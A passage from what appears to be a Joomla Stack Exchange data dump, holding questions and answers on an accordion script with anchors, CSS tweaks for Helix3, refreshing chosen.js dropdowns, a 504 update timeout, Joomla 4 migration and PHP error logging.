class=&amp;quot;ac&amp;quot;&amp;gt;&#xA;    &amp;lt;h2 class=&amp;quot;ac-q&amp;quot; tabindex=&amp;quot;0&amp;quot;&amp;gt;Lorem ipsum dolor sit amet.&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;ac-a&amp;quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Nulla et sodales nisl. Nam auctor quis odio eu congue. Lorem ipsum dolor sit amet, consectetur adipiscing elit.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&amp;quot;ac&amp;quot;&amp;gt;&#xA;    &amp;lt;h2 class=&amp;quot;ac-q&amp;quot; tabindex=&amp;quot;0&amp;quot;&amp;gt;Lorem ipsum dolor sit amet.&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;ac-a&amp;quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Nulla et sodales nisl. Nam auctor quis odio eu congue. Lorem ipsum dolor sit amet, consectetur adipiscing elit.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &#xA;&#xA;&amp;lt;script&amp;gt;&#xA;&amp;quot;use strict&amp;quot;;&#xA;! function (i)&#xA;{&#xA;  function u(o, l)&#xA;  {&#xA;    var c = this,&#xA;      t = {&#xA;        init: function ()&#xA;        {&#xA;          if (Array.isArray(o)) return o.length &amp;amp;&amp;amp; o.map(function (e)&#xA;          {&#xA;            return new u(e, l)&#xA;          }), !1;&#xA;          this.options = h(&#xA;          {&#xA;            duration: 600,&#xA;            itemNumber: 0,&#xA;            aria: !0,&#xA;            closeOthers: !0,&#xA;            showItem: !1,&#xA;            elementClass: &amp;quot;ac&amp;quot;,&#xA;            questionClass: &amp;quot;ac-q&amp;quot;,&#xA;            answerClass: &amp;quot;ac-a&amp;quot;,&#xA;            targetClass: &amp;quot;ac-target&amp;quot;,&#xA;            onToggle: function () {}&#xA;          }, l), this.container = document.querySelector(o), this.elements = this.container.querySelectorAll(&amp;quot;.&amp;quot; + this.options.elementClass);&#xA;          var e = this.options,&#xA;            t = e.aria,&#xA;            n = e.showItem,&#xA;            i = e.itemNumber;&#xA;          t &amp;amp;&amp;amp; this.container.setAttribute(&amp;quot;role&amp;quot;, &amp;quot;tablist&amp;quot;);&#xA;          for (var s = 0; s &amp;lt; this.elements.length; s++)&#xA;          {&#xA;            var r = this.elements[s];&#xA;            r.classList.add(&amp;quot;js-enabled&amp;quot;), this.hideElement(r), this.setTransition(r), this.generateID(r), t &amp;amp;&amp;amp; this.setARIA(r)&#xA;          }&#xA;          if (n)&#xA;          {&#xA;            var a = this.elements[0];&#xA;            &amp;quot;number&amp;quot; == typeof i &amp;amp;&amp;amp; i &amp;lt; this.elements.length &amp;amp;&amp;amp; (a = this.elements[i]), this.toggleElement(a, !1)&#xA;          }&#xA;          c.attachEvents()&#xA;        },&#xA;        setTransition: function (e)&#xA;        {&#xA;          var t = this.options,&#xA;            n = t.duration,&#xA;            i = t.answerClass,&#xA;            s = e.querySelector(&amp;quot;.&amp;quot; + i),&#xA;            r = a(&amp;quot;transition&amp;quot;);&#xA;          s.style[r] = n + &amp;quot;ms&amp;quot;&#xA;        },&#xA;        generateID: function (e)&#xA;        {&#xA;          e.setAttribute(&amp;quot;id&amp;quot;, &amp;quot;ac-&amp;quot;.concat(s)), s++&#xA;        },&#xA;        setARIA: function (e)&#xA;        {&#xA;          var t = this.options,&#xA;            n = t.questionClass,&#xA;            i = t.answerClass,&#xA;            s = e.querySelector(&amp;quot;.&amp;quot; + n),&#xA;            r = e.querySelector(&amp;quot;.&amp;quot; + i);&#xA;          s.setAttribute(&amp;quot;role&amp;quot;, &amp;quot;tab&amp;quot;), s.setAttribute(&amp;quot;aria-expanded&amp;quot;, &amp;quot;false&amp;quot;), r.setAttribute(&amp;quot;role&amp;quot;, &amp;quot;tabpanel&amp;quot;)&#xA;        },&#xA;        updateARIA: function (e, t)&#xA;        {&#xA;          var n = this.options.questionClass;&#xA;          e.querySelector(&amp;quot;.&amp;quot; + n).setAttribute(&amp;quot;aria-expanded&amp;quot;, t)&#xA;        },&#xA;        callSpecificElement: function (e)&#xA;        {&#xA;          for (var t = e.target, n = this.options, i = n.questionClass, s = n.targetClass, r = n.closeOthers, a = 0; a &amp;lt; this.elements.length; a++)&#xA;            if (this.elements[a].contains(t))&#xA;            {&#xA;              (t.className.match(i) || t.className.match(s)) &amp;amp;&amp;amp; (e.preventDefault(), r &amp;amp;&amp;amp; this.closeAllElements(a), this.toggleElement(this.elements[a]));&#xA;              break&#xA;            }&#xA;        },&#xA;        hideElement: function (e)&#xA;        {&#xA;          var t = this.options.answerClass;&#xA;          e.querySelector(&amp;quot;.&amp;quot; + t).style.height = 0&#xA;        },&#xA;        toggleElement: function (e, t)&#xA;        {&#xA;          var n, i = !(1 &amp;lt; arguments.length &amp;amp;&amp;amp; void 0 !== t) || t,&#xA;            s = this.options,&#xA;            r = s.answerClass,&#xA;            a = s.aria,&#xA;            o = s.onToggle,&#xA;            l = e.querySelector(&amp;quot;.&amp;quot; + r),&#xA;            c = l.scrollHeight;&#xA;          e.classList.toggle(&amp;quot;is-active&amp;quot;), i || (l.style.height = &amp;quot;auto&amp;quot;), 0 &amp;lt; parseInt(l.style.height) ? (n = !1, requestAnimationFrame(function ()&#xA;          {&#xA;            l.style.height = 0&#xA;          })) : (n = !0, requestAnimationFrame(function ()&#xA;          {&#xA;            l.style.height = c + &amp;quot;px&amp;quot;&#xA;          })), a &amp;amp;&amp;amp; this.updateARIA(e, n), i &amp;amp;&amp;amp; o(e, this.elements)&#xA;        },&#xA;        closeAllElements: function (e)&#xA;        {&#xA;          for (var t = this.options.aria, n = this.elements.length, i = 0; i &amp;lt; n; i++)&#xA;            if (i != e)&#xA;            {&#xA;              var s = this.elements[i];&#xA;              s.classList.contains(&amp;quot;is-active&amp;quot;) &amp;amp;&amp;amp; s.classList.remove(&amp;quot;is-active&amp;quot;), t &amp;amp;&amp;amp; this.updateARIA(s, !1), this.hideElement(s)&#xA;            }&#xA;        },&#xA;        resizeHandler: function ()&#xA;        {&#xA;          for (var e, t, n = this.options, i = n.elementClass, s = n.answerClass, r = this.container.querySelectorAll(&amp;quot;.&amp;quot; + i + &amp;quot;.is-active&amp;quot;), a = 0; a &amp;lt; r.length; a++) t = r[a].querySelector(&amp;quot;.&amp;quot; + s), requestAnimationFrame(function ()&#xA;          {&#xA;            t.style.height = &amp;quot;auto&amp;quot;, e = t.offsetHeight, requestAnimationFrame(function ()&#xA;            {&#xA;              t.style.height = e + &amp;quot;px&amp;quot;&#xA;            })&#xA;          })&#xA;        },&#xA;        clickHandler: function (e)&#xA;        {&#xA;          this.callSpecificElement(e)&#xA;        },&#xA;        keydownHandler: function (e)&#xA;        {&#xA;          13 === e.keyCode &amp;amp;&amp;amp; this.callSpecificElement(e)&#xA;        }&#xA;      };&#xA;    this.attachEvents = function ()&#xA;    {&#xA;      var e = t;&#xA;      e.clickHandler = e.clickHandler.bind(e), e.keydownHandler = e.keydownHandler.bind(e), e.resizeHandler = e.resizeHandler.bind(e), e.container.addEventListener(&amp;quot;click&amp;quot;, e.clickHandler), e.container.addEventListener(&amp;quot;keydown&amp;quot;, e.keydownHandler), i.addEventListener(&amp;quot;resize&amp;quot;, e.resizeHandler)&#xA;    }, this.detachEvents = function ()&#xA;    {&#xA;      var e = t;&#xA;      e.container.removeEventListener(&amp;quot;click&amp;quot;, e.clickHandler), e.container.removeEventListener(&amp;quot;keydown&amp;quot;, e.keydownHandler), i.removeEventListener(&amp;quot;resize&amp;quot;, e.resizeHandler)&#xA;    };&#xA;    var a = function (e)&#xA;      {&#xA;        return &amp;quot;string&amp;quot; == typeof document.documentElement.style[e] ? e : (e = n(e), e = &amp;quot;webkit&amp;quot;.concat(e))&#xA;      },&#xA;      n = function (e)&#xA;      {&#xA;        return e.charAt(0).toUpperCase() + e.slice(1)&#xA;      },&#xA;      h = function (e, t)&#xA;      {&#xA;        for (var n in t) e[n] = t[n];&#xA;        return e&#xA;      };&#xA;    i.requestAnimationFrame = i.requestAnimationFrame || i.webkitRequestAnimationFrame || function (e)&#xA;    {&#xA;      i.setTimeout(e, 1e3 / 60)&#xA;    }, t.init()&#xA;  }&#xA;  var s = 0;&#xA;  &amp;quot;undefined&amp;quot; != typeof module &amp;amp;&amp;amp; void 0 !== module.exports ? module.exports = u : i.Accordion = u&#xA;}(window);&#xA;&#xA;&amp;lt;/script&amp;gt;    &#xA;&#xA;&amp;lt;script&amp;gt;&#xA;  new Accordion('.accordion-container'); &#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I can insert in in an article and it works. But nothing happens when I try to add an anchor. I suppose it requires additional javascript.&lt;/p&gt;&#xA;&lt;p&gt;I have found an answer to this &lt;a href=&quot;https://stackoverflow.com/questions/50447803/open-a-specific-accordion-panel-with-an-external-anchor-link/50448207&quot;&gt;here&lt;/a&gt;, but I still do not see anchors working when i run it locally, neither i can insert it into joomla article properly.&lt;/p&gt;&#xA;&lt;p&gt;I also tried many of &lt;a href=&quot;https://freefrontend.com/css-accordions/&quot; rel=&quot;nofollow noreferrer&quot;&gt;these&lt;/a&gt; accordions. But only &lt;a href=&quot;https://codepen.io/JeremyWink/pen/PoYdrLV?__cf_chl_jschl_tk__=65841cbae77bb00196e4f6f62a0c45d464066e19-1595238428-0-AQ5l1jjuACZ2CSYO1ZZzV7CrgDPd9dt15JsBqDw8TK9XbbVjYPFJUxmeUQ5RV2gFOkKZ2LONu4r2aVKbdj6l3ELQj5eokjuXc8A2-qCkdVcEyUPe5M1S6O1sNyqSwSh9FF1PB3Nky3gzbBez1vcd8Utffeti0iwf_YbXjgwvFTuI5Nk_OXYnKXAVujPjVE8_iVK4wtYgglOfbHAQNP-pjEztR3c-xN9WkMM-DO0UJkk9m8KrT2h6WAIqMPrH7mMkBYaEHVloLBdIMRoVB--b1NZWYxokDzBQLK_I782lGJ4zcLOg4CvXdyLHo6ykOr4KCj5r98bH56PqBP6l5dIHFqsZ-XUx_iGUDiCVrRlx97em&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt; has anchors. But it doesn't work, when I try to edit the text or add fields.&lt;/p&gt;&#xA;&lt;p&gt;I would appreciate any help very much, or some links to guides, thank you!&lt;/p&gt;&#xA;" OwnerUserId="14420" LastActivityDate="2020-07-22T00:56:25.410" Title="Javascript accordion with anchors for joomla" Tags="|extensions|javascript|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28296" PostTypeId="2" ParentId="28295" CreationDate="2020-07-22T00:56:25.410" Score="1" Body="&lt;p&gt;While this does't directly answer your question have you looked at the Sliders plugin from Regular Labs (&lt;a href=&quot;https://www.regularlabs.com/extensions/sliders&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/extensions/sliders&lt;/a&gt;)?&lt;/p&gt;&#xA;&lt;p&gt;It does what you need with # linking.&lt;/p&gt;&#xA;" OwnerUserId="13674" LastActivityDate="2020-07-22T00:56:25.410" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28297" PostTypeId="1" CreationDate="2020-07-22T06:36:15.303" Score="0" ViewCount="153" Body="&lt;p&gt;I am designing a new site in joomla using helix3 framework. In the &amp;quot;about us&amp;quot;section i use smartslider 3 and what i need is not to have any white spaces, above and bellow... if possible. Is there a way to do this !!!???&lt;/p&gt;&#xA;&lt;p&gt;Thank you all in advance.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://willow.edk.gr/index.php/about-en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://willow.edk.gr/index.php/about-en&lt;/a&gt;&#xA;enter image description here[![enter image description here][1]][1]&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3AC47.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3AC47.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14421" LastEditorUserId="14421" LastEditDate="2020-07-22T10:49:43.110" LastActivityDate="2020-07-22T11:12:53.687" Title="Joomla with Helix3 Framework, remove whitespaces above and below smartslider" Tags="|css|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28298" PostTypeId="2" ParentId="28297" CreationDate="2020-07-22T10:25:12.127" Score="1" Body="&lt;p&gt;You only need to modify the css.&lt;/p&gt;&#xA;&lt;p&gt;By setting &lt;code&gt;#sp-main-body { display: none; }&lt;/code&gt; the empty node is no longer rendered.&lt;/p&gt;&#xA;&lt;p&gt;To specify a specific page, you can isolate the page by its &lt;code&gt;itemid&lt;/code&gt; in the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&lt;p&gt;To only modify the css on your home page, you can first target its unique body tag class then specify the deeper element to assign the new styling:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;body.itemid-101 #sp-main-body {&#xA;    display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;See the element in your browser tools:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mB3wo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mB3wo.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To implement this styling change, add/modify the custom.css file in the template's css folder.&lt;/p&gt;&#xA;&lt;p&gt;A Google search will deliver lots of results that will confirm this guidance.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/32949348/2943403&quot;&gt;Add custom css to Helix3 and SP PageBuilder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/forums/i-am-having-issues-creating-custom-css-styles-in-helix3&quot; rel=&quot;nofollow noreferrer&quot;&gt;I Am Having Issues Creating Custom Css Styles In Helix3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/forums/custom-css-in-helix-3?__cf_chl_jschl_tk__=51bc6d7dc91836bc5ba530633c9f6ad9ac54c360-1595414045-0-AbRmZZ-7SEBFMvCPdrYL2XSVX5MI5m2LItDKKfPuuQvAFtlBO4ytEhGhL3gqOPsZCV6oMhsb5wf1QtjaqUoAZBHRrJtdH2XPMYITDN-QSFG2wq4ZqVmEvgl5Z4SzU69X1_3JDVmZ6seZ7YbJ1Q44HSsPQXtCalGHphPNxv7OTilOeFWLuFSkx-SFaqhA56fkrAAQjYVuBr0uhNotcVTPHG7p4zmpdH6Y8nkamAzxCfKZQTSyHTAa_bjB3Mn1IoJvX5Uq3MO807KBxhj6s_IZKIVEGO7o0DRmVDbf7PJTEPhhZeTjcVEgTYzTCq4AXjyAnA&quot; rel=&quot;nofollow noreferrer&quot;&gt;Custom CSS In Helix 3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pcmshaper.com/post/how-do-override-the-css-styles-in-my-template/64&quot; rel=&quot;nofollow noreferrer&quot;&gt;How do Create Custom CSS Style in Helix Joomla Templates&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;...and many, many, many more.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-07-22T11:12:53.687" LastActivityDate="2020-07-22T11:12:53.687" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="28299" PostTypeId="1" AcceptedAnswerId="28301" CreationDate="2020-07-22T12:26:41.660" Score="2" ViewCount="1210" Body="&lt;p&gt;It is on the details page (edit.php), when I change a value from another dropdown field, I want to change the options of another dropdown (later by AJAX).&#xA;For now my test works if I look just to the select, with console log inspector (FF), but on the screen self the original value's are shown!!??&lt;/p&gt;&#xA;&lt;p&gt;When I open the screen than is this in my console log I see:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&amp;quot;jform_tsch__tsch1__lfld&amp;quot; name=&amp;quot;jform[tsch][tsch1][lfld]&amp;quot; class=&amp;quot;list_class fieldMedium&amp;quot; style=&amp;quot;display: none;&amp;quot; wtx-context=&amp;quot;B7F1102E-68EB-474C-8DB9-407DCA7FBDD4&amp;quot;&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;Select veld&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;3&amp;quot; selected=&amp;quot;selected&amp;quot;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;4&amp;quot;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;5&amp;quot;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;6&amp;quot;&amp;gt;6&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This my jQuery code (part):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('select[id^=jform_tsch__tsch][id$=__tsch]').change(function () {&#xA;    var subID = target[0]+'__'+target[1] +'__lfld';&#xA;&#xA;    var newOptions = {&amp;quot;Option 1&amp;quot;: &amp;quot;value1&amp;quot;,&#xA;                              &amp;quot;Option 2&amp;quot;: &amp;quot;value2&amp;quot;,&#xA;                              &amp;quot;Option 3&amp;quot;: &amp;quot;value3&amp;quot;&#xA;                             };&#xA;&#xA;    jQuery('#'+subID).children('option:not(:first)').remove();&#xA;&#xA;            jQuery.each(newOptions, function(key, value) {&#xA;                jQuery('#'+subID)&#xA;                    .append(jQuery(&amp;quot;&amp;lt;option&amp;gt;&amp;lt;/option&amp;gt;&amp;quot;)&#xA;                    .attr(&amp;quot;value&amp;quot;,key)&#xA;                    .text(value));&#xA;            });&#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After I change my value of another dropdown, the code is executed, when I look in the console log:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&amp;quot;jform_tsch__tsch1__lfld&amp;quot; name=&amp;quot;jform[tsch][tsch1][lfld]&amp;quot; class=&amp;quot;list_class fieldMedium&amp;quot; style=&amp;quot;display: none;&amp;quot; wtx-context=&amp;quot;B7F1102E-68EB-474C-8DB9-407DCA7FBDD4&amp;quot;&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;Select veld&amp;lt;/option&amp;gt;  &#xA;&amp;lt;option value=&amp;quot;Option 1&amp;quot;&amp;gt;value1&amp;lt;/option&amp;gt;&amp;lt;option value=&amp;quot;Option 2&amp;quot;&amp;gt;value2&amp;lt;/option&amp;gt;&amp;lt;option value=&amp;quot;Option 3&amp;quot;&amp;gt;value3&amp;lt;/option&amp;gt;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So the new option value's are added at the select.!&lt;/p&gt;&#xA;&lt;p&gt;But if I press on the dropdown arrow than still the old value's are shown and that is because of the&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=chz-search&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which does also have the original value's, see my screenshot &lt;a href=&quot;https://i.stack.imgur.com/rUfhe.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rUfhe.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;.&#xA;Of course I can update the 'ul' as well by jQuery I think, but I'm thinking is this the way how it should be done in Joomla???&lt;/p&gt;&#xA;&lt;p&gt;Is there a kind of default way how to replace the options of select in Joomla. Or is the alternative 'submit'?&#xA;I read also something about the chosen.jQuery.js library, but I'm searching for an example how to use this.&lt;/p&gt;&#xA;&lt;p&gt;BR.&lt;/p&gt;&#xA;&lt;p&gt;Nico&lt;/p&gt;&#xA;" OwnerUserId="14338" LastActivityDate="2020-07-22T19:58:59.490" Title="Remove options of the Select with jQuery, replace these with new ones is working but how to update &quot;chzn search&quot; div with jQuery?" Tags="|joomla-3.7|select|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28301" PostTypeId="2" ParentId="28299" CreationDate="2020-07-22T13:52:07.240" Score="2" Body="&lt;p&gt;Thats because of the chosen.js - i had the same question a few weeks ago :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/28102/update-list-field-rendering-after-ajax-update&quot;&gt;Update List field rendering after ajax update&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For chosen you can call:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#jform_identificator').trigger(&amp;quot;chosen:updated&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;after you changed the options, this triggers the update.&lt;/p&gt;&#xA;&lt;p&gt;Edit: in Joomla! V3.x and old version of chosen is used and the trigger is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#jform_identificator').trigger(&amp;quot;liszt:updated&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;kind regards&#xA;Marco&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2020-07-22T14:50:06.017" LastActivityDate="2020-07-22T14:50:06.017" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28303" PostTypeId="2" ParentId="28299" CreationDate="2020-07-22T14:58:20.573" Score="2" Body="&lt;p&gt;It is working with this one:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#jform_identificator').trigger(&amp;quot;**liszt**:updated&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Even with the 'z' in lis&lt;strong&gt;z&lt;/strong&gt;t', I thought this must be a typo, but not!!!&lt;/p&gt;&#xA;&lt;p&gt;I had the one which Marco mentioned tried earlier, but that one is not working, in my situation.&#xA;Why is that one of Marco has mentioned, not working? I see that one regularly in other treads.&#xA;It is also working without &lt;code&gt;$document-&amp;gt;addScript('/media/jui/js/chosen.jquery.js');&lt;/code&gt;!!&lt;/p&gt;&#xA;&lt;p&gt;BR.,&lt;/p&gt;&#xA;&lt;p&gt;Nico&lt;/p&gt;&#xA;" OwnerUserId="14338" LastEditorUserId="14338" LastEditDate="2020-07-22T19:58:59.490" LastActivityDate="2020-07-22T19:58:59.490" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28304" PostTypeId="1" AcceptedAnswerId="28306" CreationDate="2020-07-22T15:25:25.993" Score="4" ViewCount="732" Body="&lt;p&gt;Joomla 3.9.19&lt;/p&gt;&#xA;&lt;p&gt;When I attempt to upgrade from 3.9.19 to 3.9.20 I am getting the following error after about 2 - 3 minutes after clicking 'update'.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;504 Gateway Time-out&lt;/p&gt;&#xA;&lt;p&gt;The server didn't respond in time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is also happening whenever I try to update the Joomla 'Installer - Install from Web' plugin.&lt;/p&gt;&#xA;&lt;p&gt;Any idea why this would be and what I can do to resolve it? Is it an issue on my web server as opposed to Joomla itself?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="12352" LastEditDate="2020-07-22T23:42:22.497" LastActivityDate="2020-07-22T23:42:22.497" Title="504 Gateway Time-out on Update" Tags="|joomla-3.x|extensions|update|error-handling|server-response-time|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28305" PostTypeId="1" AcceptedAnswerId="28307" CreationDate="2020-07-22T17:02:40.080" Score="1" ViewCount="224" Body="&lt;p&gt;I want to try Joomla 4.x&lt;/p&gt;&#xA;&lt;p&gt;In the documentation for &lt;a href=&quot;https://docs.joomla.org/Joomla_3.x_to_4.x_Step_by_Step_Migration#Going_to_Joomla.21_4.x&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Joomla 3.x to 4.x Step by Step Migration&lt;/em&gt;&lt;/a&gt; it says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Select Joomla Next (This is the current text - it may be different in the future) from the drop-down for Update server.&lt;/li&gt;&#xA;&lt;li&gt;Click Save &amp;amp; Close.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I have done this, but it will only show the latest 3.x version.&lt;br /&gt;&#xA;What's wrong? What should I do to test the upgrade to 4.x ?&lt;/p&gt;&#xA;" OwnerUserId="8968" LastEditorUserId="12352" LastEditDate="2020-07-22T23:38:27.097" LastActivityDate="2020-07-30T08:19:58.417" Title="Update from 3.9.x to 4.x" Tags="|joomla-3.3.x|update|migration|joomla-4.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28306" PostTypeId="2" ParentId="28304" CreationDate="2020-07-22T22:05:20.377" Score="3" Body="&lt;p&gt;I had a similar 504 timeout issue when trying to run updates with one particular web host and their solution was to add the following to the start of the &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_dtimeout.c&amp;gt;&#xA;&amp;lt;Files ~ &amp;quot;.php&amp;quot;&amp;gt;&#xA;SetEnvIf Request_URI &amp;quot;index.php&amp;quot; DynamicTimeout=600&#xA;SetEnvIf Request_URI &amp;quot;/administrator/index.php&amp;quot; DynamicTimeout=600&#xA;&amp;lt;/Files&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2020-07-22T22:05:20.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28307" PostTypeId="2" ParentId="28305" CreationDate="2020-07-22T23:46:28.617" Score="4" Body="&lt;p&gt;You need to wait for 3.10.X to become available; as per the documentation, &amp;quot;This guide assumes you are starting on Joomla 3.10.x. If you are on a earlier version make sure you upgrade to Joomla 3.10 first before moving to Joomla 4.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Joomla 3.10 is currently in development, at &lt;a href=&quot;https://github.com/joomla/joomla-cms/milestone/34&quot; rel=&quot;nofollow noreferrer&quot;&gt;86% completion&lt;/a&gt;, most notably, with no completion date for release. V3.10-dev can be found &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/3.10-dev&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; but is not yet available for updating via the Update process in your current Joomla 3.X installation.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-07-22T23:46:28.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28308" PostTypeId="1" AcceptedAnswerId="28317" CreationDate="2020-07-23T11:32:33.337" Score="1" ViewCount="240" Body="&lt;p&gt;I use the Fields component and I have a field &amp;quot;Media&amp;quot;. You can choose an image this way. But this spits out a full  tag. This should be no problem but in my case I need it to be a full absolute url instead of relative. Does someone know how to achieve this or should I just use a regex to change the url myself?&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2020-07-27T23:34:37.307" Title="Fields component media field using absolute url instead of relative" Tags="|php|fields|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28309" PostTypeId="1" CreationDate="2020-07-23T12:41:10.713" Score="1" ViewCount="145" Body="&lt;p&gt;I'm using Joomla 3.9 with APACHE + PHP 7.0 with these settings&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;php_flag[display_errors] = On&#xA;php_flag[display_startup_errors] = On&#xA;php_value[error_reporting] = E_ALL &amp;amp; ~E_DEPRECATED &amp;amp; ~E_STRICT &amp;amp; ~E_NOTICE&#xA;php_flag[html_errors] = On&#xA;php_admin_flag[ignore_repeated_errors] = Off&#xA;php_flag[log_errors] = On&#xA;php_admin_flag[log_errors] = On&#xA;php_value[log_errors_max_len] = 1024&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When Joomla &lt;code&gt;error_reporting&lt;/code&gt; is set to &lt;code&gt;development&lt;/code&gt;, errors are shown on the site and also logged in the error log file. When error_reporting is set to &lt;code&gt;default&lt;/code&gt; it should still do the same since according to the documentation&amp;quot;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;“System Default” leaves the level of PHP error reporting to that set up in the server (usually in the php.ini file).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However nothing is shown OR logged. If I create a test.php on the root of site (so that it bypasses the Joomla core) with an error -- that error &lt;em&gt;is&lt;/em&gt; logged so the PHP settings are working 